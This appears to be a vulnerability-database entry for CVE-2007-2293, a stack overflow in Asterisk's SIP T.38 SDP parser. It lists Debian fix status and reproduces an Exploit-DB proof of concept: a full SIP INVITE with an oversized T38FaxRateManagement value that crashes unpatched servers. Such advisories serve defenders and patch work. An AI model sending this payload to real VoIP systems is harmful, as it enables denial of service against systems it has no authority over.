CVE-2007-2293

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Multiple stack-based buffer overflows in the process_sdp function in chan_sip.c of the SIP channel T.38 SDP parser in Asterisk before 1.4.3 allow remote attackers to execute arbitrary code via a long (1) T38FaxRateManagement or (2) T38FaxUdpEC SDP parameter in an SIP message, as demonstrated using SIP INVITE.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-29900 dos multiple verified text · 5 KB
Barrie Dempster · 2007-03-21

Asterisk 1.4 SIP T.38 SDP - Parsing Remote Stack Buffer Overflow (PoC) (1)

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/23648/info

Asterisk is prone to multiple remote stack-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data before copying it to insufficiently sized buffers.

Successful exploits may allow an attacker to execute arbitrary machine code to compromise an affected computer or to cause denial-of-service conditions.

Versions prior to Asterisk Open Source 1.4.3, AsteriskNOW Beta 6, and Asterisk Appliance Developer Kit 0.4.0 are vulnerable.

NOTE: These issues occur only when 't38 fax over SIP' is enabled in 'sip.conf'. 

INVITE sip:200@127.0.0.1 SIP/2.0                                     
                                                                     
Date: Wed, 21 Mar 2007 4:20:09 GMT                                   
                                                                     
CSeq: 1 INVITE                                                       
                                                                     
Via: SIP/2.0/UDP                                                     
                                                                     
10.0.0.123:5068;branch=z9hG4bKfe06f452-2dd6-db11-6d02-000b7d0dc672;rport
                                                                     
User-Agent: NGS/2.0                                                  
                                                                     
From: "Barrie Dempster"                                              
                                                                     
<sip:zeedo@10.0.0.123:5068>;tag=de92d852-2dd6-db11-9d02-000b7d0dc672 
                                                                     
Call-ID: f897d952-2fa6-db49441-9d02-001b7d0dc672@hades               
                                                                     
To: <sip:200@localhost>                                              
                                                                     
Contact: <sip:zeedo@10.0.0.123:5068;transport=udp>                   
                                                                     
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE            
                                                                     
Content-Type: application/sdp                                        
                                                                     
Content-Length: 796                                                  
                                                                     
Max-Forwards: 70                                                     
                                                                     
v=0                                                                  
                                                                     
o=rtp 1160124458839569000 160124458839569000 IN IP4 127.0.0.1        
                                                                     
s=-                                                                  
                                                                     
c=IN IP4 127.0.0.1                                                   
                                                                     
t=0 0                                                                
                                                                     
m=image 5004 UDPTL t38                                               
                                                                     
a=T38FaxVersion:0                                                    
                                                                     
a=T38MaxBitRate:14400                                                
                                                                     
a=T38FaxMaxBuffer:1024                                               
                                                                     
a=T38FaxMaxDatagram:238                                              
                                                                     
a=T38FaxRateManagement:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
                                                                     
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                     
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                     
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                     
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                     
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                     
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                     
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                     
AAAAAAAAAAAAAAAA                                                     
                                                                     
a=T38FaxUdpEC:t38UDPRedundancy  
EDB-29901 dos multiple verified
Barrie Dempster · 2007-03-21

Asterisk 1.4 SIP T.38 SDP - Parsing Remote Stack Buffer Overflow (PoC) (2)

Source code queued for fetch — refresh in a moment.

OS impact

debian Debian Fixed 2 releases
VersionStatusFixed in
sid Fixed 1:1.4.3~dfsg-1
bullseye Fixed 1:1.4.3~dfsg-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.